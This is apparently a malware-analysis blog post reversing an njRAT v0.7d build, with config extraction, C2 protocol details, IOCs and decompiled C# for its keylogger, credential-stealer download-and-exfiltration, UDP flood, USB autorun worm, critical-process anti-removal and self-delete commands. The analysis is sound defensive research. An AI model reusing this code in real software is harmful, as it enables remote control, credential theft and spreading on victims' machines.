njRAT v0.7d 'HacKed' Campaign: Config Extraction, C2 Protocol, and Full Capability Mapping
Static analysis of a novel njRAT v0.7d im523 build with 'HacKed' campaign tag: C2 config extraction, 30+ command dispatch mapping, USB worm propagation, and credential theft, with reproducible Python tooling and YARA rules.
I was doing my usual morning triage run when this one caught my eye, a 37-kilobyte PE sitting at the top of the queue with a perfect risk score. Tiny file. Maximum threat rating. No family match in our similarity engine. No public reporting anywhere.
At 37KB for a full-featured RAT, I figured it was either a loader stub or something stripped down to essentials. Turns out it was neither. It’s a complete njRAT v0.7d build, keylogger, screen capture, webcam enumeration, remote shell, USB worm propagation, a DDoS module, credential theft, 30+ C2 commands, all packed into something smaller than most icons on your desktop. And the operator didn’t even bother to obfuscate it. Every class name, every method, every config string is sitting there in plaintext waiting to be read.
The C2 domain. phishing[.]multimilliontoken[.]org, had zero hits on VirusTotal, MalwareBazaar, and Hybrid Analysis when I pulled the sample. The compilation timestamp puts this build at April 4th, just four days before I got to it. Fresh infrastructure, fresh build, campaign tag “HacKed.” Someone spun this up recently and it was actively beaconing behind Cloudflare when the sandboxes ran it.
This write-up walks through the full reversing: extracting the configuration, tracing the C2 protocol, decompiling every command handler, and mapping the Win32 API calls to their actual behavior. Every code snippet shown here comes directly from ILSpy decompilation and was verified against the binary, no paraphrasing, no guessing.
Quick Reference
For readers who aren’t deep into .NET malware:
- njRAT (Bladabindi): one of the most widely deployed RATs globally, first seen in 2013. Open-source VB.NET implant with a builder GUI that lets operators configure C2, persistence, and campaign tags without writing code. It’s commodity malware, but it works, and 13 years later, it’s still showing up in active campaigns.
- im523: the internal version string for this build. njRAT versions follow the pattern
imXXXwhere the number tracks the builder revision. -
** ’ ’ **: njRAT’s C2 message separator. Every command and response over the wire is delimited with this five-character string. It’s essentially the family’s signature, if you see |'|'|in a TCP stream, you’re looking at njRAT.
Sample
| Property | Value |
|---|---|
| SHA-256 | ff87cd932e25b024cd10042c186f252fdabdac2c4d4cbc67f89e457697ebbc71 |
| MD5 | 129df3c4dcaae4c1860a334be50f2ed3 |
| SHA-1 | 4cda77bc5d5c136c4a5a19122fd378b045cc7dee |
| SSDEEP | 768:dv0w5DGIqLRwuv4oDDXSLzbPgJqqiD8ZuSNuCicI:dcw9poXX4zjg8E3Nh |
| File Size | 37,888 bytes (37 KB) |
| Format | PE32 .NET assembly (VB.NET, .NET Framework v2.0) |
| Packer | None (initial MPRESS detection was a false positive) |
| Obfuscation | None — method names, class names, and strings are all plaintext |
| Compiled | 2026-04-04 05:14:49 UTC |
| First Seen | 2026-04-08 |
Identification: njRAT v0.7d (Bladabindi), build im523, campaign tag “HacKed”. Compiled 4 days before first observation.
Scope: This analysis is primarily static, decompilation, string extraction, PE parsing. Dynamic sandbox results from two independent services were used to confirm C2 connectivity and are documented in the appendix. I did not interact with the C2 server directly.
Infection Chain
Full boot sequence: entry point → persistence → mutex → firewall bypass → keylogger + anti-analysis threads → C2 connection → command dispatch loop
Extracted Configuration
The njRAT builder embeds configuration as plaintext UTF-16LE strings in the .text section. No encryption, no encoding (except the Base64 campaign tag):
| Field | Value | Notes |
|---|---|---|
| C2 Host | phishing[.]multimilliontoken[.]org | Novel domain — no public reporting |
| C2 Port | 443 | HTTPS port (but traffic is raw TCP, not TLS) |
| Mutex | 411e31664bdd9d96369d0a44d5111aef | MD5 hash, used as client ID |
| Version | im523 | njRAT builder revision |
| Campaign Tag | SGFjS2Vk → HacKed | Base64-encoded operator tag |
| Separator | \|'\|'\| | C2 protocol message delimiter |
| Drop Name | server.exe | Filename for persistence copy |
| Masquerade | svchost.exe, Exsample.exe | Process name spoofing |
| Persistence | HKCU\Software\Microsoft\Windows\CurrentVersion\Run | Registry Run key |
| Anti-analysis thread | True (task) | Enable mgr.protect() analysis tool monitor |
| File relocation | False (Idr) | Do not copy self to %TEMP%, run from current location |
| BSoD protection | False (BD) | ProcessBreakOnTermination disabled in this build |
The configuration is stored as public static fields at the top of the OK class, fully visible in the decompiled source:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// Decompiled from OK class — all config fields as static members
public class OK
{
public static string HH = "phishing.multimilliontoken.org"; // C2 host (defanged in prose)
public static string P = "443"; // C2 port
public static string RG = "411e31664bdd9d96369d0a44d5111aef"; // Mutex (MD5)
public static string VR = "im523"; // Version
public static string VN = "SGFjS2Vk"; // Campaign tag (b64)
public static string Y = "|'|'|"; // Separator
public static string DR = "TEMP"; // Drop directory
public static string EXE = "server.exe"; // Drop filename
public static string sf = @"Software\Microsoft\Windows\CurrentVersion\Run";
public static string anti = "Exsample.exe"; // Masquerade name
public static string usbx = "svchost.exe"; // USB spread name
public static string sizk = "20"; // Max keylog size (KB)
public static bool BD = false; // BSoD protection (ProcessBreakOnTermination)
public static bool task = true; // Enable anti-analysis mgr.protect() thread
public static bool HD = false; // Hidden file
public static bool usb = false; // USB spread enabled
public static bool anti2 = false; // Anti-analysis enabled
// ...
}
No encryption, no encoding (except the Base64 campaign tag), the operator’s entire configuration is readable in plaintext from the binary.
The config extractor script (scripts/extract_njrat_config.py) automates this extraction:
1
python extract_njrat_config.py sample.exe
C2 Protocol
DNS resolution → Cloudflare proxy → plaintext TCP on port 443 → beacon → command/response loop
njRAT uses unencrypted raw TCP with a simple text-based protocol:
1
2
3
4
5
6
7
8
9
┌──────────────────────────────────────────────────────┐
│ njRAT Wire Format │
├──────────────────────────────────────────────────────┤
│ <size><NUL><command>|'|'|<arg1>|'|'|<arg2>|'|'|... │
├──────────────────────────────────────────────────────┤
│ Example beacon: │
│ ll|'|'|<hwid>|'|'|<hostname>|'|'|<username>|'|'| │
│ <os>|'|'|<date>|'|'|<cam_count>|'|'|<active_win> │
└──────────────────────────────────────────────────────┘
The connection logic from the decompiled OK.connect() method:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// Decompiled from OK.connect() — the C2 connection handler
public static bool connect()
{
Cn = false;
Thread.Sleep(2000); // 2-second delay before connecting
// Create TCP socket with 200KB buffers and 10-second timeouts
MeM = new MemoryStream();
C = new TcpClient();
C.ReceiveBufferSize = 204800;
C.SendBufferSize = 204800;
C.Client.SendTimeout = 10000;
C.Client.ReceiveTimeout = 10000;
// Connect to C2 — MH() resolves the host, P = "443"
C.Connect(MH(HH), Conversions.ToInteger(P));
Cn = true;
// Send initial beacon with system info
Send(inf());
// Send extended config info: campaign tag, host:port, dropper settings
string text = DEB(VN) + "\r\n"; // Base64-decoded campaign tag
text += H + ":" + P + "\r\n"; // C2 address
text += DR + "\r\n" + EXE + "\r\n"; // Drop dir + filename
text += Conversions.ToString(Idr) + "\r\n"; // Feature flags
// ... additional boolean flags ...
Send("inf" + Y + ENB(ref text)); // Base64-encode and send
}
The Send() → Sendb() chain frames messages with a length prefix:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// Decompiled from OK.Send() + OK.Sendb() — message framing
public static bool Send(string S)
{
return Sendb(SB(ref S)); // UTF-8 encode, then send bytes
}
public static bool Sendb(byte[] b)
{
if (!Cn) return false;
lock (LO)
{
MemoryStream memoryStream = new MemoryStream();
string S = b.Length + "\0"; // Length as ASCII string + NUL terminator
byte[] header = SB(ref S); // UTF-8 encode the header
memoryStream.Write(header, 0, header.Length);
memoryStream.Write(b, 0, b.Length);
// Single send: [length_string + NUL + payload] as one contiguous buffer
C.Client.Send(memoryStream.ToArray(), 0, (int)memoryStream.Length, SocketFlags.None);
}
}
- No encryption, all C2 traffic is plaintext, trivially detectable with IDS
- Port 443, abuses HTTPS port to evade basic port-based filtering, but the protocol is not TLS
- Client ID, the MD5 mutex value (
411e31664bdd9d96369d0a44d5111aef)
Class and Method Architecture
The binary is unobfuscated VB.NET with 4 classes:
| Class | Purpose | Key Methods |
|---|---|---|
w.A | Entry point only, calls OK.ko() | main() |
w.OK | Everything else. C2 connection, command dispatch, persistence, config, all functionality | ko() (boot), connect(), Send()/Sendb(), Ind() (dispatch), INS() (install), RC() (receive), Plugin(), pr(), inf(), UNS(), HWD(), ACT() |
w.kl | Keylogger — captures keystrokes via polling | WRK() (main loop), VKCodeToUnicode(), Fix(), AV() |
w.mgr | Anti-analysis — detects and disrupts analysis tools | protect() (main loop), GetChild(), EnumChild() |
Command Dispatch. Decompiled
The OK.Ind() method is the central command dispatcher. It splits the incoming C2 message on the |'|'| separator and matches the first token against a long if-else chain:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
// Decompiled from OK.Ind() — the C2 command router
private static void Ind(byte[] b)
{
string[] array = Strings.Split(BS(ref b), Y, -1, 0);
string text = array[0]; // command name
if (text == "shutdowncomputer")
Interaction.Shell("shutdown -s -t 00", 0, false, -1);
else if (text == "restartcomputer")
Interaction.Shell("shutdown -r -t 00", 0, false, -1);
else if (text == "DisableKM")
apiBlockInput(1); // Block keyboard+mouse
else if (text == "EnableKM")
apiBlockInput(0); // Unblock
else if (text == "TurnOffMonitor")
SendMessage(-1, 274, 61808, 2); // HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, OFF
else if (text == "ReverseMouse")
SwapMouseButton(256);
else if (text == "DisableCMD")
Registry.SetValue(@"HKCU\Software\Policies\Microsoft\Windows\System",
"DisableCMD", "1", RegistryValueKind.DWord);
else if (text == "DisableTaskManager")
Registry.SetValue(@"HKCU\...\Policies\System",
"DisableTaskMgr", "1", RegistryValueKind.DWord);
else if (text == "OpenCD")
mciSendString("set CDAudio door open", ...);
else if (text == "peech")
Interaction.CreateObject("SAPI.Spvoice", "").speak(array[1]);
else if (text == "ErorrMsg")
MessageBox.Show(array[4], array[3], ...); // Fake error dialog
else if (text == "udp") // UDP flood (DDoS)
{
TIP = array[1]; Tport = array[2]; delay = int.Parse(array[3]);
udp = true;
IPEndPoint target = new IPEndPoint(IPAddress.Parse(TIP), int.Parse(Tport));
Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
while (udp) { s.SendTo(new byte[4096], target); Thread.Sleep(delay); }
}
else if (text == "pas") // Credential theft
{
string path = Environ("temp") + "/pass.exe";
new WebClient().DownloadFile(
"hXXps://dl[.]dropbox[.]com/s/p84aaz28t0hepul/Pass[.]exe?dl=0", path);
Process.Start(path);
// Read results and exfiltrate
Send("pas" + Y + ENB(File.ReadAllText(Environ("temp") + "/temp.txt")));
}
else if (text == "rn") // Upload & Execute
{
byte[] payload = (array[2][0] == '\x1f')
? ZIP(compressedBytes) // Decompress GZip
: new WebClient().DownloadData(array[2]);// Download from URL
string path = Path.GetTempFileName() + "." + array[1];
File.WriteAllBytes(path, payload);
Process.Start(path);
}
else if (text == "CAP") // Screenshot
{
Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, ...);
Graphics.FromImage(bmp).CopyFromScreen(Point.Empty, Point.Empty, size);
// Compress to JPEG and send
}
// ... 30+ additional commands
}
Note the UDP flood (DDoS) capability at the udp command (not dos, the dos command is a no-op that just sends an ack), this turns infected machines into DDoS nodes, sending 4KB UDP packets at a configurable rate. Stopped via udpstp.
30+ commands extracted from method names and string analysis:
| Command | Method | Description |
|---|---|---|
| Remote Shell | RC() thread | C2 receive loop — reads commands from TCP stream |
| File Compare | CompDir() | Compare two files by directory path (used in install logic) |
| Delete Registry Value | DLV() | Delete a value from HKCU\Software\<mutex> |
| Upload & Execute | rn command in Ind() | Download payload (URL or GZip) → write to temp → Process.Start |
| Decompress | ZIP() | GZip decompress byte array (used for plugin/payload decompression) |
| Screenshot | CAP command in Ind() | CopyFromScreen → JPEG compress → send to C2 |
| Webcam Detect | Cam() | Enumerate webcam drivers via capGetDriverDescriptionA |
| Keylogger | kl.WRK() | GetAsyncKeyState polling + VKCodeToUnicode + window tracking |
| BSoD Protection | pr(int) | NtSetInformationProcess(ProcessBreakOnTermination), pr(1)=enable, pr(0)=disable |
| Boot Sequence | ko() | Entry point: mutex → INS() → RC thread → keylogger → mgr → main loop |
| Anti-Analysis | mgr.protect() | Kill taskmgr / Process Hacker / Process Explorer via UI manipulation |
| Plugin Loader | Plugin() | Assembly.Load(byte[]), reflective .NET assembly loading from C2 |
| Get Registry Values | GTV() | Read values from HKCU\Software\<mutex> subkey |
| Set Registry Values | STV() | Write values to HKCU\Software\<mutex> subkey |
| Exit/Disconnect | ED() | Calls pr(0) to remove BSoD protection |
| Shutdown | shutdowncomputer | shutdown -s -t 00 |
| Restart | restartcomputer | shutdown -r -t 00 |
| Logoff | logoff | shutdown -l -t 00 |
| Disable Keyboard/Mouse | DisableKM | apiBlockInput(True) |
| Enable Keyboard/Mouse | EnableKM | apiBlockInput(False) |
| Reverse Mouse | ReverseMouse | SwapMouseButton(256), any nonzero value swaps buttons |
| Normal Mouse | NormalMouse | SwapMouseButton(0), restore default |
| Disable CMD | DisableCMD | Registry policy modification |
| Enable CMD | EnableCMD | Remove CMD restriction |
| Disable Registry Editor | DisableRegistry | Registry policy |
| Disable Task Manager | DisableTaskManager | DisableTaskMgr policy |
| Disable System Restore | DisableSR | Prevent recovery |
| Open CD Tray | OpenCD | mciSendString("set CDAudio door open") |
| Close CD Tray | CloseCD | mciSendString("set CDAudio door closed") |
| Monitor Off | TurnOffMonitor | SendMessage with SC_MONITORPOWER |
| Monitor On | TurnOnMonitor | SendMessage wake |
| Hide Cursor | CursorHide | Hide mouse pointer |
| Show Cursor | CursorShow | Restore mouse pointer |
| Open Website | OpenSite | Force-open URL in browser |
| Change IE Home | IEhome | Modify IE Start Page registry key |
| Text-to-Speech | peech | SAPI.SpVoice — speak attacker’s text |
| Beep/Piano | BepX / piano | System beep with custom frequency |
| Play Music | sendmusicplay | Force audio playback |
| Error Message | ErorrMsg | Display fake error dialog |
| IE Homepage Hijack | AddHome() | Change IE Start Page via registry (IEhome command) |
| USB Spread | INS() (when usb=true) | Copy as svchost.exe + autorun.inf to ALL logical drives |
| Self-Delete | UNS | cmd.exe /k ping 0 & del self-removal |
| Update | INS variant | Download replacement, restart |
| Credential Theft | pas command in Ind() | Download Pass.exe from Dropbox, read results from temp.txt |
| Critical Process | pr(1) | NtSetInformationProcess(ProcessBreakOnTermination). BSoD on kill |
| Firewall Bypass | inf | netsh firewall add allowedprogram |
Persistence Mechanisms
Registry Run Key
Standard HKCU\Software\Microsoft\Windows\CurrentVersion\Run entry pointing to the binary. The decompiled ko() startup method shows the full initialization sequence:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// Decompiled from OK.ko() — actual boot sequence (called from A.main())
public static void ko()
{
// 1. Set install marker in registry (if launched with command line args)
if (Interaction.Command() != null)
{
F.Registry.CurrentUser.SetValue("di", "!");
Thread.Sleep(5000);
}
// 2. Mutex check — single instance enforcement
bool createdNew = false;
MT = new Mutex(true, RG, out createdNew);
if (!createdNew) ProjectData.EndApp(); // Exit if already running
// 3. INS() — handles ALL installation logic:
// - File relocation to %TEMP% (if Idr=true)
// - netsh firewall add allowedprogram (always)
// - Registry Run key persistence (if Isu=true)
// - Startup folder copy (if IsF=true)
// - Kill anti-malware process (if anti2=true)
// - Hide file attributes (if HD=true)
// - USB worm spread to all drives (if usb=true)
INS();
// 4. Start C2 receive thread (RC handles reconnection internally)
Thread thread = new Thread(RC, 1);
thread.Start();
// 5. Start keylogger on background thread
kq = new kl();
new Thread(kq.WRK, 1).Start();
// 6. Start anti-analysis monitor (if task=true)
if (task)
{
mgr mgr2 = new mgr();
new Thread(mgr2.protect).Start();
}
// 7. Enable BSoD protection (if BD=true)
if (BD) { pr(1); } // ProcessBreakOnTermination — killing RAT causes BSoD
// 8. Main loop — NOT C2 connection, but housekeeping:
// active window reporting, working set trimming, persistence re-verification
while (true)
{
Thread.Sleep(1000); // 1-second cycle
Application.DoEvents();
// ... every 8 iterations: send active window title to C2 via "act" command
// ... if Isu: verify registry Run key is still present, re-add if removed
}
}
The actual boot order is: install marker → mutex → INS() (persistence + firewall + USB spread) → C2 receive thread → keylogger → anti-analysis → BSoD protection → housekeeping loop. The C2 reconnection happens inside RC(), not the main loop.
USB Worm Propagation
Copy to all logical drives as svchost.exe → create autorun.inf → new host auto-executes → repeat
The USB spread code is inside INS() (gated by if (!usb) return), not a separate method. It iterates all logical drives returned by Directory.GetLogicalDrives(), not just removable drives:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Decompiled from OK.INS() — USB worm spread section
string[] logicalDrives = Directory.GetLogicalDrives(); // ALL drives, not just USB
foreach (string drive in logicalDrives)
{
File.Copy(Application.ExecutablePath, drive + usbx); // usbx = "svchost.exe"
File.SetAttributes(drive + usbx, FileAttributes.Hidden);
StreamWriter sw = new StreamWriter(drive + "\\" + "autorun.inf");
sw.WriteLine("[autorun]");
sw.WriteLine("open=" + drive + usbx); // Full path including drive letter
sw.WriteLine("shellexecute=" + drive, 1); // Note: buggy format string
sw.Close();
File.SetAttributes(drive + "autorun.inf", FileAttributes.Hidden);
}
Note: this copies to all logical drives (C:\, D:\, E:\, etc.), not just removable media, more aggressive than typical USB worms. Both the executable and autorun.inf are marked Hidden.
Firewall Exception
netsh firewall add allowedprogram "server.exe" ENABLE, adds the RAT as a firewall exception to allow inbound/outbound C2 connections.
Deep Dive: Win32 API Usage
Keylogger. GetAsyncKeyState + MapVirtualKey + ToUnicodeEx
Virtual key scan → keyboard layout → scan code → Unicode translation → active window tagging → registry persistence
The w.kl class implements a polling-based keylogger using three Win32 APIs in sequence. Here’s how the pipeline works:
Step 1: Detect key presses with GetAsyncKeyState
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Win32 API (user32.dll)
// Returns the state of a virtual key. If the high bit (0x8000) is set,
// the key is currently pressed. If the low bit (0x0001) is set, the key
// was pressed since the last call.
SHORT GetAsyncKeyState(
int vKey // Virtual-key code (VK_A = 0x41, VK_RETURN = 0x0D, etc.)
);
// njRAT polls this in a loop for every virtual key (0x01–0xFE):
for (int vk = 1; vk <= 254; vk++) {
if (GetAsyncKeyState(vk) & 0x8001) {
// Key is pressed — proceed to translate it
}
}
Here’s the actual decompiled keylogger loop from kl.WRK():
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// Decompiled from kl.WRK() — the keylogger main loop
public void WRK()
{
Logs = (string)OK.GTV(vn, ""); // Resume from saved log if any
while (true)
{
int num = 1;
int num2 = 0;
do
{
// Poll every virtual key (0-255)
if ((GetAsyncKeyState(num2) == -32767) & !OK.F.Keyboard.CtrlKeyDown)
{
Keys k = (Keys)num2;
string text = Fix(k); // Translate to readable string
if (text.Length > 0)
{
Logs += AV(); // Prepend active window title
Logs += text; // Append keystroke
}
lastKey = k;
}
num2++;
} while (num2 <= 255);
// Every 1000 iterations, trim log to 20KB max and persist to registry
if (num == 1000)
{
int maxSize = Conversions.ToInteger("20") * 1024;
if (Logs.Length > maxSize)
Logs = Logs.Remove(0, Logs.Length - maxSize);
OK.STV(vn, Logs, RegistryValueKind.String); // Save to HKCU\Software\<mutex>
}
Thread.Sleep(1); // 1ms sleep between scan cycles
}
}
Note GetAsyncKeyState returns -32767 (0x8001) when a key is pressed, the high bit means “currently down” and the low bit means “pressed since last check.” The & !CtrlKeyDown filter avoids logging Ctrl+C/Ctrl+V hotkeys (which would pollute the log with clipboard operations).
The RAT calls this in a tight loop (WRK method) to detect which keys are currently held. This is a usermode technique, no kernel hook required, no SetWindowsHookEx, making it stealthier than hook-based keyloggers.
Step 2: Get keyboard layout with GetKeyboardLayout
1
2
3
4
5
6
7
8
9
10
11
// Win32 API (user32.dll)
// Returns the keyboard layout handle for the thread that owns
// the foreground window. This determines which language/layout
// maps virtual keys to characters (US QWERTY vs French AZERTY, etc.)
HKL GetKeyboardLayout(
DWORD idThread // 0 = current thread's input locale
);
// njRAT uses GetWindowThreadProcessId(GetForegroundWindow(), ...) to get
// the foreground thread ID, then passes it here to capture keystrokes
// in the correct language layout.
Step 3: Translate virtual key to Unicode with ToUnicodeEx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Win32 API (user32.dll)
// Translates a virtual-key code into a Unicode character string,
// using the specified keyboard layout. This is how VK_A becomes 'a'
// or 'A' depending on shift state.
int ToUnicodeEx(
UINT wVirtKey, // Virtual-key code
UINT wScanCode, // Hardware scan code (from MapVirtualKey)
const BYTE *lpKeyState, // 256-byte array from GetKeyboardState()
LPWSTR pwszBuff, // Output buffer for the Unicode character
int cchBuff, // Buffer size
UINT wFlags, // 0 = normal
HKL dwhkl // Keyboard layout from GetKeyboardLayout
);
// The scan code comes from MapVirtualKey:
UINT scanCode = MapVirtualKey(vk, MAPVK_VK_TO_VSC);
The RAT logs the translated character along with a timestamp and the foreground window title (captured via GetForegroundWindow + GetWindowText). Log entries look like: [kl]2026/04/08 [Chrome - Google] hello world[ENTER].
Critical Process Protection. NtSetInformationProcess (ProcessBreakOnTermination)
Correction: Initial sandbox reports labeled this as “anti-debug,” but source code review reveals it’s actually critical process protection, a denial-of-service anti-removal technique.
The pr() method calls NtSetInformationProcess with class 29 (ProcessBreakOnTermination), not ThreadHideFromDebugger:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// ntdll.dll (undocumented, but widely known)
// Sets process information. Class 29 = ProcessBreakOnTermination.
// When set to 1, the process becomes "critical" — if ANY code
// terminates it (user, AV, task manager), Windows triggers a
// Blue Screen of Death (BSOD / bugcheck).
NTSTATUS NtSetInformationProcess(
HANDLE ProcessHandle, // GetCurrentProcess()
PROCESSINFOCLASS ProcessInfoClass, // 29 = ProcessBreakOnTermination
PVOID ProcessInformation, // pointer to ULONG (1 = critical)
ULONG ProcessInformationLength // sizeof(ULONG)
);
// njRAT's pr() method (decompiled):
public static void pr(int i)
{
// i = 1: make process critical (BSoD on kill)
// i = 0: remove critical status (safe to kill)
NtSetInformationProcess(
Process.GetCurrentProcess().Handle,
29, // ProcessBreakOnTermination
ref i, // 1 = enable, 0 = disable
4 // sizeof(int)
);
}
The RAT uses this in two contexts:
pr(1)at startup (whenBD = truein config), makes the RAT unkillable without BSoDpr(0)before self-delete inUNS(), removes critical status so the process can safely exit
This is more destructive than anti-debug, it turns the RAT into a hostage. An analyst who kills the process crashes the entire system. AV products that terminate malware processes would also trigger a BSoD. The only safe removal path is to call pr(0) first, which requires either the C2 operator’s cooperation or patching the process in memory.
Note: The DEB method name in the decompiled source is misleading, it actually stands for “DEcode Base64” (Convert.FromBase64String), not “DEBug.” The actual NtSetInformationProcess call is in the pr() method.
Input Blocking. BlockInput
The DisableKM command locks out the user’s keyboard and mouse:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// Win32 API (user32.dll)
// Blocks keyboard and mouse input events from reaching applications.
// Only the calling thread can unblock. Requires the calling process
// to have the input desktop (foreground).
BOOL BlockInput(
BOOL fBlockIt // TRUE = block all input, FALSE = unblock
);
// njRAT's DisableKM command:
BlockInput(TRUE); // User can no longer type or move the mouse
// The attacker retains control via the C2 connection — they can still
// send commands, capture screenshots, and operate the machine remotely
// while the physical user is locked out. Only EnableKM (BlockInput(FALSE))
// or a reboot restores local control.
This is particularly dangerous during credential theft operations, the attacker locks out the user to prevent interference while exfiltrating data.
Mouse Manipulation. SwapMouseButton
1
2
3
4
5
6
7
8
9
10
11
// Win32 API (user32.dll)
// Swaps the left and right mouse button functionality.
// Used both as a prank/disruption tool and as a disorientation tactic.
BOOL SwapMouseButton(
BOOL fSwap // TRUE = swap buttons, FALSE = restore
);
// njRAT's ReverseMouse command:
SwapMouseButton(TRUE); // Left-click now right-clicks and vice versa
// NormalMouse command:
SwapMouseButton(FALSE); // Restore normal behavior
Monitor Control. SendMessage with SC_MONITORPOWER
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Win32 API (user32.dll)
// Sends a system command to the desktop window to control the monitor.
// SC_MONITORPOWER with lParam controls power state:
// -1 = on, 1 = low power (standby), 2 = off
#define HWND_BROADCAST ((HWND)0xffff)
#define WM_SYSCOMMAND 0x0112
#define SC_MONITORPOWER 0xf170
// njRAT's TurnOffMonitor:
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 2);
// Turns off all monitors. The machine keeps running (and the RAT
// keeps operating), but the user sees a black screen.
// TurnOnMonitor:
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, -1);
// Wakes the monitors back up.
Analysis Tool Killing. GetForegroundWindow + EnumChildWindows + SendMessage
200ms polling loop: detect analysis tool → enumerate child windows → find confirmation dialog → disable cancel button → relabel
The mgr class polls the foreground window (not EnumWindows) and uses child window enumeration to manipulate analysis tools:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// Win32 API (user32.dll)
// Returns the handle to the foreground window (the window the user is
// currently interacting with). The mgr class polls this every 200ms.
HWND GetForegroundWindow(void);
// For each window, njRAT calls GetWindowText to get the title,
// then checks if it contains:
// "taskmgr", "processviewer", "processhacker", "process explorer"
//
// If matched, it walks child windows with EnumChildWindows looking
// for buttons with text "End process" or "End task":
BOOL EnumChildWindows(
HWND hWndParent, // Parent window (taskmgr etc.)
WNDENUMPROC lpEnumFunc, // Callback
LPARAM lParam
);
// When the "End process" button is found, njRAT programmatically
// clicks it by sending BM_CLICK:
#define BM_CLICK 0x00F5
SendMessage(hButton, BM_CLICK, 0, 0);
// This effectively clicks the "End process" button inside Task Manager
// to terminate whatever process the user is inspecting — not the
// analysis tool itself, but the user's attempted kill target.
// Alternatively, it can close the analysis tool's window entirely.
Here’s the actual decompiled mgr.protect() method showing the full logic:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// Decompiled from mgr.protect() — analysis tool killer
public void protect()
{
while (true)
{
Thread.Sleep(200); // Check every 200ms
IntPtr foregroundWindow = GetForegroundWindow();
if (foregroundWindow.ToInt32() == 0) continue;
int pid = 0;
GetWindowThreadProcessId(foregroundWindow, ref pid);
Process proc = Process.GetProcessById(pid);
// Check if foreground window is an analysis tool
if (proc.ProcessName.ToLower() == "taskmgr" ||
proc.ProcessName.ToLower() == "processviewer" ||
proc.ProcessName.ToLower() == "processhacker" ||
text.ToLower() == "process explorer") // title-based for Sysinternals
{
// Enumerate all child windows
List<IntPtr> buttons = new List<IntPtr>();
int staticCount = 0;
foreach (IntPtr child in GetChild(foregroundWindow))
{
string className = GetClassName(child);
if (className == "button") buttons.Add(child);
if (className == "static" || className == "directuihwnd") staticCount++;
}
// If we find exactly 2 buttons and 1-2 static labels,
// we're looking at the "End process" confirmation dialog
if (buttons.Count == 2 && (staticCount == 2 || staticCount == 1))
{
// Disable the first button (cancel) and relabel it
EnableWindow(buttons[0], false);
SendMessage(buttons[0], WM_SETTEXT, 0, "End process");
// This tricks the user into clicking a disabled/relabeled button
}
}
}
}
This is more subtle than simply killing the analysis tool, it manipulates the Task Manager’s UI by disabling buttons and changing their labels, confusing the analyst.
Firewall Manipulation, netsh (confirmed by sandbox)
The sandbox captured netsh.exe (PID 5712) being spawned as a child process:
1
netsh firewall add allowedprogram "C:\Users\admin\Desktop\sample.exe" "sample.exe" ENABLE
The sandbox also recorded the registry side-effect: netsh wrote to HKCR\Local Settings\MuiCache resolving the Windows Defender Firewall display name, confirming the firewall rule was actually created.
Self-Delete. Race Condition Technique
1
cmd.exe /k ping 0 & del "C:\path\to\malware.exe" & exit
This exploits a timing race:
ping 0sends ICMP to0.0.0.0, on Windows this translates to pinging localhost, which takes ~4 seconds (4 retries with 1s timeout)- During those 4 seconds, the RAT process exits
delthen deletes the now-unlocked .exeexitcloses the cmd.exe window
The & operator chains commands sequentially in cmd.exe. The ping acts as a sleep. Windows cmd.exe has no native sleep command, so ping is the classic workaround.
Credential Theft
C2 command → download Pass.exe from Dropbox → execute → read results from temp.txt → Base64-encode → exfiltrate
The Plugin command downloads Pass.exe from a hardcoded Dropbox URL:
1
hXXps://dl[.]dropbox[.]com/s/p84aaz28t0hepul/Pass[.]exe?dl=0
This is a secondary password recovery tool executed post-infection. The Dropbox hosting provides a semi-legitimate download vector that may bypass URL filtering.
IOC Appendix
Network Indicators
| Type | Value | Context | Source |
|---|---|---|---|
| Domain | phishing[.]multimilliontoken[.]org | C2 server | Static + Dynamic |
| IP | 188[.]114[.]97[.]3 | C2 (Cloudflare proxy) | ANY.RUN |
| IP | 188[.]114[.]96[.]3 | C2 (Cloudflare proxy) | ANY.RUN |
| IP | 104[.]21[.]50[.]193 | C2 (Cloudflare proxy) | Joe Sandbox |
| Port | 443/tcp | C2 port (raw TCP, not TLS) | Static + Dynamic |
| URL | hXXps://dl[.]dropbox[.]com/s/p84aaz28t0hepul/Pass[.]exe?dl=0 | Credential theft payload | Static |
| Protocol | |'|'|-delimited plaintext TCP | njRAT signature | Static |
| Suricata | BACKDOOR njRAT Bladabindi CnC Communication command ll | IDS alert | Dynamic |
| ASN | AS13335 (CLOUDFLARENET) | C2 hosting infrastructure | Dynamic |
Host Indicators
| Type | Value | Context | Source |
|---|---|---|---|
| Mutex | 411e31664bdd9d96369d0a44d5111aef | Instance lock | Static + Dynamic |
| Registry | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\411e... | Persistence (key name = mutex) | Dynamic |
| Registry | HKCU\di = ! | njRAT install marker | Dynamic |
